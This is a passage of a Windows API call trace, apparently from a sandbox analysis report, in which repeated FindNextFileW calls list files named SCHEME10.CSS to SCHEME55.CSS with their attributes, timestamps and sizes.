hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233e6c00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x233e6c00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220d3f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x220d3f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc1200, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20dc1200, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79b800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e79b800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d488b00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d488b00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c175e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c175e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae63100, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ae63100, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b50400, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b50400, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1883d700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1752aa00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1752aa00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f05000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f05000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bf2300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13bf2300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128df600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x128df600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66e800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb66e800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35bb00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa35bb00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7b2600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff7b2600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fda00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43fda00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8755100, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8755100, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eebe900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9eebe900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4c100, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ce4c100, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94315400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94315400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad35f00, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad35f00, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8380de00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8380de00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532c200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7532c200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cda8700, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cda8700, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621ff200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x621ff200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56343000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56343000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e61400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47e61400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37359e00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37359e00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b0900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7b0900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cfbc000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cfbc000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a38500, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a38500, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7869600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa69a700, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa69a700, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e03f00, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0e03f00, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1922be00, ftCreationTime.dwHighDateTime=0x1c69a7b, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1922be00, ftLastWriteTime.dwHighDateTime=0x1c69a7b, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ce8a00, ftCreationTime.dwHighDateTime=0x1c69651, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1ce8a00, ftLastWriteTime.dwHighDateTime=0x1c69651, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d95100, ftCreationTime.dwHighDateTime=0x1c69a53, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74d95100, ftLastWriteTime.dwHighDateTime=0x1c69a53, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c1eb00, ftCreationTime.dwHighDateTime=0x1c69597, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67c1eb00, ftLastWriteTime.dwHighDateTime=0x1c69597, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, 